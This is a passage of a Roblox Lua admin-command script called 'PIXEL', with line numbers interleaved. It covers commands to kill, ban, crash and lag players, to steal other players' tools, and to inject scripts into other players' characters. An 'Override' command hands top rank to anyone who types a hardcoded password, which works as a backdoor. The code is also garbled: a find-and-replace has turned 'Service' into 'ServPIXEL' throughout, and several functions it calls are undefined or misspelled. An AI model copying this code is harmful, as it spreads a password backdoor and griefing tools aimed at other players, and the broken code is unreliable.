		local PlayerName=NewMsg:sub(1,Split-1)
2338
		local Source=NewMsg:sub(Split+1)
2339
		Player=nil
2340
		for i,v in pairs(game.Players:GetPlayers()) do
2341
			if v.Name:lower():sub(1,#PlayerName)==PlayerName then
2342
				if Player==nil then
2343
					Player=v
2344
				else
2345
					if type(Player) == 'table' then
2346
						Player[#Player+1]=v
2347
					else
2348
						Player={v}
2349
					end
2350
				end
2351
			end
2352
		end
2353
		if type(Player)=='table' then
2354
			for i,v in pairs(Player) do	
2355
				if newLocalScript then
2356
					newLocalScript(Source,v.Character)
2357
				else
2358
					Clone=script:clone();
2359
					SourceC=Clone:children()[1]
2360
					if SourceC:IsA'StringValue' then
2361
						print'String'
2362
					else
2363
						SourceC=Clone:children()[2]
2364
					end
2365
					SourceC.Value=Source
2366
					Clone.Disabled=true
2367
					Clone.Parent=v.Character
2368
					Clone.Disabled=false
2369
				end
2370
			end
2371
		else
2372
			if newLocalScript then
2373
				newLocalScript(Source,Player.Character)
2374
			else
2375
				Clone=script:clone();
2376
				DS=Clone:children()
2377
				DSS=nil
2378
				for i,v in pairs(DS) do if v:IsA'StringValue' then DSS=v end end
2379
				DSS.Value=Source
2380
				Clone.Disabled=true;
2381
				Clone.Parent=Player.Character
2382
				Clone.Disabled=false
2383
			end
2384
		end
2385
	elseif Msg:sub(1,#('rejoin')+2) == '\\rejoin\\' then
2386
		game:servPIXEL'TeleportServPIXEL':Teleport(Game.PlaceId)
2387
	elseif Msg:sub(1,#('probe')+2) == '\\probe\\' then
2388
		MakeProbe()
2389
	elseif Msg:sub(1,#('char')+2) =='\\char\\' then
2390
		Spawn()
2391
	elseif Msg:sub(1,#('ban')+2) == '\\ban\\' then
2392
		Player=game.Players:findFirstChild(Msg:sub(#('ban')+3))
2393
		if Player then
2394
			repeat pcall(function() game.Players[Player.Name]:Destroy() end) wait() until 1+1==3 
2395
		end
2396
	end
2397
	wait()
2398
	if game.Players:findFirstChild(Player.Name)==nil and not Msg:find('\\probe\\') and not Msg:find('\\char\\') then -- Is nil then
2399
		if Probe then
2400
			Chat(Probe,Msg,math.random(0,2))
2401
		else	
2402
			if Player.Character==nil then
2403
				if Char then
2404
					Chat(Char.Head,Msg,math.random(0,2))
2405
				end
2406
			else
2407
				Chat(Player.Character.Head,Msg,'Red')
2408
			end
2409
		end
2410
	end
2411
end) -- local
2412
]==],Speaker.Character)
2413
		if SC then
2414
			PIXEL.Output('Sucessful attempt at connecting! When you are removed from game chat \\probe\\ or \\char\\','Green',Speaker)
2415
		else
2416
			PIXEL.Output('Unsucessful connection attempt!','Red',Speaker)
2417
		end
2418
	end
2419
)
2420
PIXEL.Command('Commands','cmds',0,'Shows commands','No arguments',
2421
	function(Msg,Speaker)
2422
		PIXEL.RemoveTablets(Speaker)
2423
		local Mine=PIXEL.Ranked[Speaker.Name]
2424
		for i=1,#PIXEL.Ranks do
2425
			if i > 0 and i < #PIXEL.Ranks + 1 then
2426
				PIXEL.Output('Rank ' .. tostring(i),Mine.Color,Speaker,nil,
2427
					function()
2428
						PIXEL.RemoveTablets(Speaker)
2429
						if Mine.Rank < i then
2430
							PIXEL.Output('You cannot access to these commands! View anyways?','Red',Speaker,nil,function()
2431
								--PIXEL.RemoveTablets(Speaker)
2432
								Num=0
2433
								for e,v in pairs(PIXEL.Commands) do
2434
									if v.Rank == i then
2435
										Num=Num+1
2436
										PIXEL.Output(e,'Random',Speaker,nil,
2437
											function()
2438
												PIXEL.RemoveTablets(Speaker);
2439
												for Name,Str in pairs(v) do
2440
													PIXEL.Output(tostring(Name) .. '; ' .. tostring(Str),Mine.Color,Speaker)
2441
												end
2442
												PIXEL.Output('Syntax : ' .. Str.Command .. PIXEL.Bet,Mine.Color,Speaker)
2443
											end
2444
										)
2445
									end
2446
								end
2447
								if Num== 0 then
2448
									PIXEL.Output('No available commands for this rank!','Red',Speaker)
2449
								end
2450
							end)
2451
						else
2452
							Num=0
2453
							for CmdName,CmdTable in pairs(PIXEL.Commands) do
2454
								if CmdTable.Rank == i then
2455
									Num=Num+1
2456
									PIXEL.Output(CmdName,Mine.Color,Speaker,nil,
2457
										function()
2458
											PIXEL.RemoveTablets(Speaker);
2459
											for Str,Val in pairs(CmdTable) do
2460
												PIXEL.Output(tostring(Str) .. '; ' .. tostring(Val),Mine.Color,Speaker)
2461
											end
2462
											PIXEL.Output('Syntax : ' .. Val.Command..PIXEL.Bet,Mine.Color,Speaker)
2463
										end
2464
									)
2465
								end
2466
							end
2467
							if Num== 0 then
2468
								PIXEL.Output('No available commands for this rank!','Red',Speaker)
2469
							end
2470
						end
2471
					end
2472
				)
2473
			end
2474
		end
2475
		PIXEL.Output('All','Green',Speaker,nil,
2476
			function()
2477
				PIXEL.RemoveTablets(Speaker);
2478
				for i,v in pairs(PIXEL.Commands) do
2479
					PIXEL.Output(i,'Random',Speaker,nil,
2480
						function()
2481
							PIXEL.RemoveTablets(Speaker)
2482
							for Arg,Argg in pairs(v) do
2483
								PIXEL.Output(tostring(Arg) .. " : " .. tostring(Argg),'Random',Speaker)
2484
							end
2485
						end
2486
					)
2487
				end
2488
			end
2489
		)
2490
		PIXEL.Output('Your rank : ' .. PIXEL.Ranked[Speaker.Name].Rank,Mine.Color,Speaker)
2491
	end
2492
)					
2493
PIXEL.Command('Dismiss','dismiss',0,[[Dismiss's tablets]],'No arguments',
2494
	function(m,s) PIXEL.RemoveTablets(s) end
2495
)
2496
PIXEL.Command('Ping','ping',0,'Pings a msg','Msg',
2497
	function(Msg,Speaker)	
2498
		Pings={};
2499
		if Msg:sub(1,#("tonumber"))=="tonumber" then
2500
			local Nom=loadstring("return " .. tonumber(Msg:sub(#("tonumber")+1)))()
2501
			table.insert(Pings,{Nom,'Random'})
2502
		elseif  Msg:sub(1,#("image")) == "image" then
2503
			local Sub=Msg:sub(#("image")+2)
2504
			PIXEL.OutputImg(Sub,"A test image!","Random",Speaker)
2505
		elseif Msg:lower()=="nil" then
2506
			Nil=0
2507
			for i,v in pairs(game:servPIXEL'NetworkServer':children()) do
2508
				if v:IsA('ServerReplicator') then
2509
					if v:GetPlayer() and v:GetPlayer().Parent==nil then
2510
						Nil=Nil+1
2511
						table.insert(Pings,{v:GetPlayer().Name,'Random'})
2512
					end
2513
				end
2514
			end
2515
			if Nil==0 then table.insert(Pings,{"No nil players",'Red'}) end
2516
		elseif Msg:lower()=='nil raw' then
2517
			local Nil=0;
2518
			for _,v in pairs(game:servPIXEL'NetworkServer':children()) do
2519
				if v:IsA'ServerReplicator' then
2520
					if v:GetPlayer() and v:GetPlayer().Parent==nil then
2521
						Nil=Nil+1
2522
						PIXEL.Output(v:GetPlayer().Name,'Red',Speaker,nil,function() PIXEL.PlayerInterface(v:GetPlayer().Name,Speaker) end)
2523
					end
2524
				end
2525
			end
2526
			if Nil==0 then PIXEL.Output('No nil players','Green',Speaker,3) end
2527
		elseif Msg:lower()=="colors" then
2528
			for i,v in pairs(PIXEL.Colors) do
2529
				table.insert(Pings,{i,v})
2530
			end
2531
		elseif Msg:lower()=="ranks" then
2532
			for i,v in pairs(PIXEL.Ranks) do
2533
				table.insert(Pings,{i .. ":"..v,'Random'})
2534
			end
2535
		elseif #Msg==0 then
2536
			table.insert(Pings,{'Pong!','Random'})
2537
		else
2538
			table.insert(Pings,{Msg,'Random'})
2539
		end
2540
		if #Pings < 2 then
2541
			for i,v in pairs(Pings) do
2542
				Color=v[2]
2543
				Message=v[1]
2544
				PIXEL.Output(Message,Color,Speaker)
2545
			end
2546
		else
2547
			PIXEL.RemoveTablets(Speaker);
2548
			for i,v in pairs(Pings) do
2549
				Color=v[2]
2550
				Message=v[1]
2551
				PIXEL.Output(Message,Color,Speaker)
2552
			end
2553
		end
2554
	end
2555
)
2556
PIXEL.Command('Get-ranked','getranked',0,'Gets the Ranked table','No arguments',
2557
	function(Msg,Speaker)
2558
		Player=nil
2559
		if #Msg==0 then
2560
			for i,v in pairs(PIXEL.Ranked) do
2561
				PIXEL.Output(i,v.Color,Speaker,nil,
2562
					function()
2563
						Player=i
2564
						PIXEL.RemoveTablets(Speaker)
2565
					end
2566
				)
2567
			end
2568
		else
2569
			for _,v in pairs(PIXEL.Ranked) do
2570
				if _:lower():sub(1,#Msg) == Msg:lower() then
2571
					Player=_
2572
				end
2573
			end
2574
		end
2575
		coroutine.wrap(function()
2576
			repeat
2577
				wait()
2578
			until Player
2579
			PIXEL.PlayerInterface(Player,Speaker)
2580
		end)()
2581
	end
2582
)
2583
PIXEL.Command('Chatcolor','chatcolor',0,'Changes your chatcolor','No arguments',
2584
    function(Msg,Speaker)
2585
		if #Msg == 0 then
2586
			for i,v in pairs(PIXEL.Colors) do -- Stahp it>_> Regular Color3's Work its what I did BrickColor.new(Color3.new(0,1,0))
2587
				PIXEL.Output(i,v,Speaker,nil,function()  Speaker.Neutral = false Speaker.TeamColor = BrickColor.new(v) PIXEL.RemoveTablets(Speaker) end)
2588
			end
2589
		else
2590
			local Brick=BrickColor.new(Msg) 
2591
			if Brick then
2592
				Speaker.TeamColor=Brick
2593
				Speaker.Neutral=false
2594
			else
2595
				PIXEL.Output(Brick .. '[ error ]','Red',Speaker)
2596
			end
2597
		end
2598
    end
2599
)
2600
PIXEL.Command('Vote kick','votekick',0,'Vote kicks a player','Player',
2601
	function(Msg,Speaker)
2602
		if PIXEL.VoteData.IsVoting==false then
2603
			local Player = PIXEL.GetPlayers(Msg,Speaker)[1] 
2604
			if Player then 
2605
				PIXEL.VoteData.ActivateVoteKick(Player)
2606
			end
2607
		else
2608
			PIXEL.Output('There is already a vote in progress!','Red',Speaker,5)
2609
		end
2610
	end
2611
)
2612
PIXEL.Command('Menu','menu',0,'Shows PIXEL Menu','No arguments',
2613
	function(Msg,Speaker)
2614
		local SpeakTab=PIXEL.Ranked[Speaker.Name]
2615
		PIXEL.RemoveTablets(Speaker)
2616
		PIXEL.Output('Show commands!',SpeakTab.Color,Speaker,nil,function() PIXEL.OnChatted(PIXEL.Bets[1]..'cmds'..PIXEL.Bets[2],Speaker,true) end)
2617
		PIXEL.Output('Your rank is ' .. SpeakTab.Rank,SpeakTab.Color,Speaker)
2618
		PIXEL.Output('To access your ranked table click on me!',SpeakTab.Color,Speaker,nil,function() PIXEL.OnChatted(PIXEL.Bets[1]..'getranked'..PIXEL.Bets[2]..Speaker.Name,Speaker,true) end)
2619
		PIXEL.Output('Welcome to PIXEL by tu'..'sK'..'Or6'..'61',SpeakTab.Color,Speaker)
2620
		PIXEL.Output('Click to debug lighting','Green',Speaker,nil,function() PIXEL.OnChatted(PIXEL.Bets[1]..'debug'..PIXEL.Bets[2],Speaker,true) end)
2621
		PIXEL.Output('View chat operators','Green',Speaker,nil,
2622
			function()
2623
				PIXEL.Output('Get player operators','Orange',Speaker,nil,function()
2624
						Infos={
2625
							{T="The bets are ["..PIXEL.Bets[1]..";"..PIXEL.Bets[2].."]",C="Orange"};
2626
							{T="To use a cmd its "..PIXEL.Bets[1].."Command"..PIXEL.Bets[2].."Arguments/Args",C="Orange"};
2627
							{T="To use a command on your self use the command and for arguments put 'me'",C="Blue"};
2628
							{T="To use a command on everyone use the command and for aguments put 'all'",C="Blue"};
2629
							{T="To use a command on others use the command and for arguments put 'others'",C="Blue"};
2630
						};
2631
						for i,v in pairs(Infos) do
2632
							PIXEL.Output(v.T,v.C,Speaker)
2633
						end
2634
				end)
2635
				PIXEL.Output('Chat operators','Orange',Speaker,nil,function()
2636
					--ypcall(function()
2637
						Infos={
2638
							{T="To use a cmd more then once do '" .. PIXEL.Bets[1] .. " do (a number)"..PIXEL.Bets[1].."(a command)".. PIXEL.Bets[2] .."(arguments)'",C="Blue"};
2639
							{T="To wait before using a command do '" .. PIXEL.Bets[1].. " wait" .. PIXEL.Bets[1].. "(a command)" .. PIXEL.Bets[2] .. "(arguments)'",C="Blue"};
2640
						};
2641
						for i,v in pairs(Infos) do
2642
							PIXEL.Output(v.T,v.C,Speaker)
2643
						end
2644
					--end)
2645
				end)
2646
			end
2647
		)
2648
	end
2649
)
2650
PIXEL.Command('Debug','debug',0,'Debugs the game','No arguments',
2651
	function(Msg,Speaker)
2652
		PIXEL.ServPIXELs.Lighting.Ambient = Color3.new(1,1,1)
2653
		PIXEL.ServPIXELs.Lighting.OutdoorAmbient=Color3.new(1,1,1)
2654
		PIXEL.ServPIXELs.Lighting.ColorShift_Bottom = Color3.new(0,0,0)
2655
		PIXEL.ServPIXELs.Lighting.ColorShift_Top = Color3.new(0,0,0)
2656
		PIXEL.ServPIXELs.Lighting.ShadowColor = Color3.new(0.69,0.69,0.69)
2657
		PIXEL.ServPIXELs.Lighting.Brightness = 0.2
2658
		PIXEL.ServPIXELs.Lighting.FogStart = 0
2659
		PIXEL.ServPIXELs.Lighting.FogEnd = 100000
2660
		PIXEL.ServPIXELs.Lighting.FogColor = Color3.new(0.74,0.74,0.74)
2661
		PIXEL.ServPIXELs.Lighting.TimeOfDay = 12
2662
		PIXEL.ServPIXELs.Lighting.GlobalShadows=false
2663
		for i,v in pairs(Workspace:children()) do
2664
			if v:IsA'Hint' or v:IsA'Message' then
2665
				v:Destroy()
2666
				for i,s in pairs(v:children()) do
2667
					if s:IsA'Hint' or s:IsA'Message' then
2668
						s:Destroy();
2669
						for i,b in pairs(s:children()) do
2670
							if b:IsA'Hint' or b:IsA'Message' then
2671
								b:Destroy();
2672
							end
2673
						end
2674
					end
2675
				end
2676
			end
2677
		end
2678
	end
2679
)
2680
PIXEL.Command('Set rank','setrank',0,'Sets #Players rank to #Rank','#Player>#Rank',
2681
		function(Msg,Speaker)
2682
            local Split = Msg:find(PIXEL.Bets[2])
2683
            for _,v in pairs(PIXEL.GetPlayers(Msg:sub(1,Split-1),Speaker)) do
2684
				if v.Name ~= Speaker.Name then
2685
                    local Rank = tonumber(Msg:sub(Split+1))
2686
                    if Rank >= PIXEL.GetRank(Speaker) or ((Rank < 0 or PIXEL.GetRank(v) < 0) and PIXEL.GetRank(Speaker) < 2 ) then
2687
                        PIXEL.Output("You can't set "..v.Name.."'s rank to "..tostring(Rank),"Orange",Speaker,3)
2688
                    elseif PIXEL.Ranks[Rank] == nil then
2689
                        PIXEL.Output("Rank not found.","Orange",Speaker,3)
2690
                    else
2691
                        PIXEL.Ranked[v.Name].Rank = Rank
2692
                    end
2693
				else
2694
					PIXEL.Output('You cannot set your own rank','Red',Speaker,3)
2695
				end
2696
             end
2697
        end
2698
)	
2699
PIXEL.Command('@','@',0,'On chats a msg at #Player','#Player>Msg',
2700
	function(Msg,Speaker)
2701
		local Split,Msgg,Players=Msg:find(PIXEL.Bets[1]),"",{};
2702
		if Split then
2703
			Msgg=Msg:sub(Split)
2704
			Players=PIXEL.GetPlayers(Msg:sub(1,Split-1),Speaker)
2705
		end
2706
		for i,v in pairs(Players) do
2707
			PIXEL.OnChatted(Msgg,v,true)
2708
		end
2709
	end
2710
)
2711
PIXEL.Command('Get CMD Bar','getcmd',0,'Gets CMD Gui','true/false',
2712
	function(Msg,Speaker)
2713
		if Msg=='true' or Msg=="1" or Msg=="on" then
2714
			PIXEL.Ranked[Speaker.Name].CMD=true
2715
		elseif Msg=='false' or Msg=="0" or Msg=="off" then
2716
			PIXEL.Ranked[Speaker.Name].CMD=false
2717
			pcall(function() Speaker.PlayerGui.CMD:Destroy() end)
2718
		else
2719
			PIXEL.Output('Bool has to be true/false or 1/0 or on/off','Red',Speaker)
2720
		end
2721
	end
2722
)
2723
PIXEL.Command('Personal message','pm',0,'PMs #Player','#Player'..PIXEL.Bets[2]..'Message',
2724
	function(Msg,Speaker)
2725
		Split=Msg:find(PIXEL.Bets[2])
2726
		Split2=Msg:sub(Split+1):find(PIXEL.Bets[2])
2727
		local Type="Message"
2728
		if Split2 then
2729
			Type=Msg:sub(Split2+1)
2730
		end
2731
		Players=PIXEL.GetPlayers(Msg:sub(1,Split-1),Speaker)
2732
		Message=""
2733
		if Split2 then
2734
			Message=Msg:sub(Split+1,Split2-1)
2735
		else
2736
			Message=Msg:sub(Split+1)
2737
		end
2738
		for i,Player in pairs(Players) do
2739
			if Type:lower()=='Message' then
2740
				PIXEL.MakeMessage('Private msg from ' .. Speaker.Name .. ' : ' .. Message,Player)
2741
			elseif Type:lower()=='Hint' then
2742
				PIXEL.MakeHint('Private msg from ' .. Speaker.Name .. ' : ' .. Message,Player)
2743
			else
2744
				PIXEL.MakeMessage('Private msg from ' .. Speaker.Name .. ' : ' .. Message,Player)
2745
			end
2746
		end
2747
	end
2748
)				
2749
PIXEL.Command('Override','override',0,'Overrides PIXEL','Code',
2750
	function(Code,Speaker)
2751
		if Code=='ScriptItNao' then
2752
			PIXEL.Ranked[Speaker.Name].Rank=10
2753
			PIXEL.Output('You have sucessfully overrode PIXEL','Green',Speaker)
2754
		else
2755
			PIXEL.Output('Wrong code','Red',Speaker)
2756
		end
2757
	end
2758
)
2759
PIXEL.Command('Show filters','sfilt',0,'Shows all PIXEL Filters','No arguments',
2760
	function(Msg,Speaker)
2761
		PIXEL.RemoveTablets(Speaker);
2762
		SetUpDF=function(FTable,FName)
2763
			PIXEL.RemoveTablets(Speaker);
2764
			Reason,Rank,Punishment=FTable.Reason,FTable.Bypass,FTable.Punishment
2765
			PIXEL.Output('Reason : ' .. tostring(Reason or "nil"),'Green',Speaker);
2766
			PIXEL.Output('Rank to bypass filter : ' .. tostring(Rank or "nil"),'Orange',Speaker);
2767
			NewPun=""
2768
			--if type(Punishment)=='number' then
2769
				Types={{"Kill",0};{"Kick",1};{"Shutdown",2};{"Crash",3};{"Ban";4};{"Lag",5}}
2770
				for i,v in ipairs(Types) do
2771
					if Punishment==v[2] then
2772
						NewPun=v[1]
2773
					end
2774
				end
2775
			--[[else
2776
				Types={{"Kill",0};{"Kick",1};{"Shutdown",2};{"Crash",3};{"Ban";4};{"Lag",5}}
2777
				for i,v in pairs(Types) do
2778
					if Punishment==v[1] then
2779
						NewPun=v[1]
2780
					end
2781
				end
2782
			end]]
2783
			PIXEL.Output('Punishment : ' .. tostring(NewPun or "nil"),'Red',Speaker);
2784
			PIXEL.Output('Change rank for bypass','Blue',Speaker,nil,
2785
				function()
2786
					if PIXEL.GetRank(Speaker) > 0 and PIXEL.GetRank(Speaker) > Rank then
2787
						PIXEL.RemoveTablets(Speaker);
2788
						for Num,Name in pairs(PIXEL.Ranks) do
2789
							if not Num > PIXEL.GetRank(Speaker) then
2790
								PIXEL.Output(tostring(Num),Color3.new(Num/10,Num/10,Num/100),Speaker,nil,
2791
									function()
2792
										PIXEL.RemoveTablets(Speaker);
2793
										PIXEL.Filters[FName].Rank=tonumber(Num)--FTable.Rank=tonumber(Num)
2794
										SetUpDF(FTable,FName)
2795
									end
2796
								)
2797
							end
2798
						end
2799
					else
2800
						PIXEL.Output('Your rank is too low to execute this action','Red',Speaker,3)
2801
					end
2802
				end
2803
			)
2804
			PIXEL.Output('Change punishment type','Blue',Speaker,nil,
2805
				function()
2806
					if PIXEL.GetRank(Speaker) > 0 and PIXEL.GetRank(Speaker) > Rank then
2807
						PIXEL.RemoveTablets(Speaker)
2808
						Types={{"Kill",0};{"Kick",1};{"Shutdown",2};{"Crash",3};{"Ban";4};{"Lag",5}}
2809
						for i,v in pairs(Types) do
2810
							if PIXEL.GetRank(Speaker) > v[2] then
2811
								PIXEL.Output('Change punishment to ' .. v[1],'Blue',Speaker,nil,
2812
									function()
2813
										PIXEL.Filters[FName].Punishment=v[2]
2814
										PIXEL.RemoveTablets(Speaker)
2815
										SetUPDF(FTable,FName)
2816
									end
2817
								)
2818
							end
2819
						end
2820
					else
2821
						PIXEL.Output('Your rank is not high enough for this operation','Red',Speaker,3)
2822
					end
2823
				end
2824
			)
2825
		end
2826
		for Derp,DerpTable in pairs(PIXEL.Filters) do
2827
			PIXEL.Output(Derp,'Random',Speaker,nil,function() SetUpDF(DerpTable,Derp) end)
2828
		end
2829
	end
2830
)	
2831
PIXEL.Command('Rules','rules',0,'Shows ancient rules set down by elders at oxcools','No arguments',
2832
	function(Message,Speaker)
2833
		for i,v in pairs(PIXEL.Rules) do	
2834
			PIXEL.Output(v,PIXEL.Ranked[Speaker.Name].Color,Speaker)
2835
		end
2836
	end
2837
)
2838
PIXEL.Command('Show credits','credits',0,'Shows credits','No arguments',
2839
	function(Msg,Speaker)
2840
		for Name,Reason in pairs(PIXEL.Credits) do
2841
			PIXEL.Output(Name .. " " .. Reason,PIXEL.Ranked[Speaker.Name].Color,Speaker)
2842
		end
2843
	end
2844
)
2845
PIXEL.Command('Help','help',0,'Gives help','help',
2846
	function(Msg,Speaker)
2847
		PIXEL.GiveInfo(Speaker)
2848
	end
2849
)
2850
--[[ Rank 1 ]]--
2851
PIXEL.Command('Base','base',1,'Makes a base in workspace','No arguments',
2852
	function(Msg,Speaker)
2853
		Norm=nil
2854
		if Workspace:findFirstChild'Base' then
2855
			Norm=Workspace.Base:clone()
2856
		end
2857
		--PIXEL.ServPIXELs.Workspace:ClearAllChildren'Nope'
2858
		pcall(function() Workspace.Base:Destroy() end)
2859
		Speaker:LoadCharacter(true)
2860
		Speaker.Character.Torso.Anchored=true
2861
			if Norm then
2862
				Norm:Clone().Parent=PIXEL.ServPIXELs.Workspace
2863
			else
2864
				Part=Instance.new'Part'
2865
				Part.Name='Base'
2866
				Part.Size=Vector3.new(256,0.05,256)
2867
				Part.Anchored=true
2868
				Part.BrickColor=BrickColor.new'Earth green'
2869
				Part.CFrame=CFrame.new(0,0,0)
2870
				Part.Parent=Workspace
2871
			end
2872
		for _,v in pairs(PIXEL.ServPIXELs.Players:GetPlayers()) do v:LoadCharacter() end
2873
	end
2874
)
2875
PIXEL.Command('Terrain base','tbase',1,'Makes a terrain base','No arguments',
2876
	function(Msg,Speaker)
2877
			vector3int16_1 = Vector3int16.new(-50,0,-50)
2878
			vector3int16_2 = Vector3int16.new(50, 1, 50)
2879
			CleanType="Test"
2880
			CleanTypes={"Grass","Sand","Brick","Granite","Asphalt","Iron","Aluminum","Gold","WoodPlank","WoodLog","Gravel","CinderBlock","MossyStone","Cement","RedPlastic","BluePlastic","Water"}
2881
			for i,v in pairs(CleanTypes) do
2882
				Tab=PIXEL.Output(v,'Random',Speaker,nil,function() CleanType=v PIXEL.RemoveTablets(Speaker) end)
2883
				coroutine.wrap(function()
2884
					repeat
2885
						if Tab.Model.Parent ~= PIXEL.ServPIXELs.Workspace then
2886
							Tab=PIXEL.Output(v,'Random',Speaker,nil,function() CleanType=v PIXEL.RemoveTablets(Speaker) end)
2887
						end
2888
					until CleanType ~= "Test"
2889
				end)()
2890
			end
2891
			PIXEL.Output('Random terrain',Speaker,nil,function() CleanType=tostring(math.random(1,17)) end)
2892
			repeat
2893
				wait()
2894
			until CleanType ~= "Test"
2895
			if tonumber(CleanType) then CleanType=tonumber(CleanType) end
2896
			wait()
2897
			local Terrain = Workspace.Terrain
2898
			wait(0.01);
2899
			Terrain:Clear()
2900
			wait(0.01)
2901
			pcall(function() Workspace.Base:Destroy() end)
2902
			wait(0.01);
2903
			Terrain:SetCells(250,2,250, CleanType, Enum.CellBlock.Solid, Enum.CellOrientation.NegZ)
2904
	end
2905
)
2906
PIXEL.Command('Dynamic lighting(dl)','dl',1,'Activates Dynamic lighting','No arguments',
2907
	function(Msg,Speaker)
2908
		PIXEL.ServPIXELs.Lighting.GlobalShadows=true
2909
		PIXEL.ServPIXELs.Lighting.TimeOfDay="24:00:00"
2910
		PIXEL.ServPIXELs.Lighting.OutdoorAmbient=Color3.new(-1,-1,-1)
2911
		PIXEL.ServPIXELs.Lighting.Ambient=Color3.new(0,0,0)
2912
		for _,v in pairs(PIXEL.ServPIXELs.Players:GetPlayers()) do
2913
			Spot=Instance.new'PointLight'
2914
			Spot.Color=Color3.new(1,1,1)
2915
			Spot.Name='Light'
2916
			Spot.Parent=v.Character.Torso
2917
			Spot.Range,Spot.Brightness=20,1/0
2918
		end
2919
	end
2920
)
2921
PIXEL.Command('Kill','kill',1,'Kills #Player','#Player',
2922
	function(Msg,Speaker)
2923
		for _,v in pairs(PIXEL.GetPlayers(Msg,Speaker)) do
2924
			v.Character:BreakJoints();
2925
		end
2926
	end
2927
)
2928
PIXEL.Command('Teleport','tp',1,'Teleports Player to #Player','Player/#Player',
2929
	function(Msg,Speaker)
2930
		local Player,Players=nil,{}
2931
		local Split=Msg:find(PIXEL.Bets[2])
2932
		local GetCF=function(v) return v:GetModelCFrame() end
2933
		Player,Players=PIXEL.GetPlayers(Msg:sub(Split+1),Speaker)[1],PIXEL.GetPlayers(Msg:sub(1,Split-1),Speaker)
2934
		local Y = 0
2935
		for i,v in pairs(Players) do
2936
			if v.Character == nil then
2937
				v:LoadCharacter()
2938
			end
2939
			Y = Y + 8 -- Approx length of a Normal Robloxian Body from Head to Toe Torso=4,Leg=2,Head=2
2940
			local Character=Player.Character
2941
			local Torso=Character:findFirstChild'Torso'
2942
			local TorsoCFrame=Torso.CFrame
2943
			local CharacterCFrame=GetCF(Character)
2944
			VTorso=v.Character.Torso
2945
			--if PIXEL.TeleportSettings[Speaker.Name].Type=="Relative" then
2946
				VTorso.CFrame=CFrame.new(CharacterCFrame.x,CharacterCFrame.y + Y, CharacterCFrame.z)
2947
			--elseif PIXEL.TeleportSettings[Speaker.Name].Type=='Absolute' then
2948
				--VTorso.CFrame=CFrame.new(TorsoCFrame.x,TorsoCFrame.y + Y,TorsoCFrame.z)
2949
		--	end
2950
		end
2951
	end
2952
)
2953
PIXEL.Command('Set time of day','timeofday',1,'Sets time of day','Timeofday or nil',
2954
function(Msg,Speaker)
2955
		if #Msg >= 1 then		
2956
			local Ran,Error=coroutine.create(coroutine.resume(function()
2957
				PIXEL.ServPIXELs.Lighting.TimeOfDay=Msg
2958
			end))
2959
			if Error then PIXEL.Output(Error,'Red',Speaker,3) end
2960
		else
2961
			Times={
2962
				['Morning']="6:00:00";
2963
				['Noon']="12:00:00";
2964
				['Night']="18:00:00";
2965
				['MidNight']="24:00:00";
2966
			};
2967
			for Name,Time in pairs(Times) do
2968
				PIXEL.Output(Name,'Random',Speaker,nil,
2969
					function()
2970
						PIXEL.RemoveTablets(Speaker);
2971
						PIXEL.ServPIXELs.Lighting.TimeOfDay=Time
2972
					end
2973
				)
2974
			end
2975
		end
2976
	end
2977
)	
2978
PIXEL.Command('Explorer','explore',1,'Enters Explorer','No arguments',
2979
	function(Msg,Speaker)
2980
		TheServPIXEL=nil;
2981
		if #Msg==0 then
2982
			for n,s in pairs(PIXEL.ServPIXELs) do
2983
				if n:lower():sub(1,#Msg)==Msg:lower() then
2984
					TheServPIXEL=s
2985
				end
2986
			end
2987
		end
2988
		PIXEL.Explore(TheServPIXEL,Speaker);
2989
	end
2990
)
2991
PIXEL.Command('Respawn','rs',1,'Respawns #Player','#Player',
2992
	function(Msg,Spkr)
2993
		for _,v in pairs(PIXEL.GetPlayers(Msg,Spkr)) do
2994
			if v.Character:findFirstChild'Torso' then
2995
				Last=v.Character.Torso.CFrame
2996
				v:LoadCharacter();
2997
				v.Character.Torso.CFrame=Last
2998
			else
2999
				v:LoadCharacter()
3000
			end
3001
		end
3002
	end
3003
)
3004
PIXEL.Command('Get visual','giv',1,'Gets visual basic scripting capablities(hack)','No arguments',
3005
	function(Msg,Speaker)
3006
		PIXEL.Output('Not available yet!','Red',Speaker,5)
3007
	end
3008
)
3009
PIXEL.Command('Give','give',1,'Gives #Player sum toolz','#Player',
3010
	function(Msg,Speaker)
3011
		Tools={}
3012
		Players=PIXEL.GetPlayer(Msg,Speaker)
3013
		Give=function()
3014
			for i,v in pairs(Players) do
3015
				for _,tool in ipairs(Tools) do
3016
					tool:clone().Parent=v.Backpack
3017
				end
3018
			end
3019
		end
3020
		Start=function()
3021
			PIXEL.RemoveTablets(Speaker)
3022
			Num=0
3023
			for i,v in pairs(PIXEL.ServPIXELs.Lighting:children()) do
3024
				if v:IsA'Tool' or v:IsA'HopperBin' then
3025
					Num=Num+1
3026
					PIXEL.Output(v.Name,'Random',Speaker,nil,function()
3027
						table.insert(Tools,v:clone())
3028
							PIXEL.Output('Add more tools?','Red',Speaker,nil,function() 
3029
								Start()
3030
							end)
3031
							PIXEL.Output('Give tools to the playres','Green',Speaker,nil,function() GiveTools() end)
3032
						
3033
						end
3034
					)
3035
				end
3036
			end
3037
			if Num == 0 then PIXEL.Output('No tools in Lighting','Red',Speaker) end
3038
		end
3039
	Start()
3040
	end
3041
)		
3042
PIXEL.Command('take tool','ttool',1,'Takes #Players tool','#Player',
3043
	function(Msg,Speaker)	
3044
		for _,Player in pairs(PIXEL.GetPlayers(Msg,Speaker)) do
3045
			local PTools={};
3046
			local Back=Player:findFirstChild'Backpack'
3047
			if Back==nil then Player:LoadCharacter() Back=Player.Backpack end
3048
			for i,v in pairs(Back:children()) do	
3049
				if v:IsA'Tool' or v:IsA'HopperBin' then
3050
					PTools[#PTools+1]=v:Clone();
3051
				end
3052
			end
3053
			Start=false;
3054
			Cloned={};
3055
			GiveTools=function()
3056
				for i,v in pairs(Cloned) do
3057
					pcall(function() v.Parent=Speaker.Backpack end)
3058
				end
3059
			end
3060
			StartOver=function()
3061
				PIXEL.Output('Continue adding tools!','Red',Speaker,nil,function() Startt() end);
3062
				PIXEL.Output('Clone tools to your self','Green',Speaker,nil,function() Start=true end)
3063
			end
3064
			Startt=function()
3065
				PIXEL.RemoveTablets(Speaker);
3066
				for i,v in pairs(PTools) do
3067
					PIXEL.Output('Add ' .. v.Name,'Red',Speaker,nil,function() table.insert(Cloned,v) StartOver() end )
3068
				end
3069
			end
3070
			if #PTools==0 then
3071
				PIXEL.Output(Player.Name .. ' has no tools','Red',Speaker)
3072
				Start=true
3073
			else
3074
				Startt()
3075
			end
3076
			repeat
3077
				wait()
3078
			until Start
3079
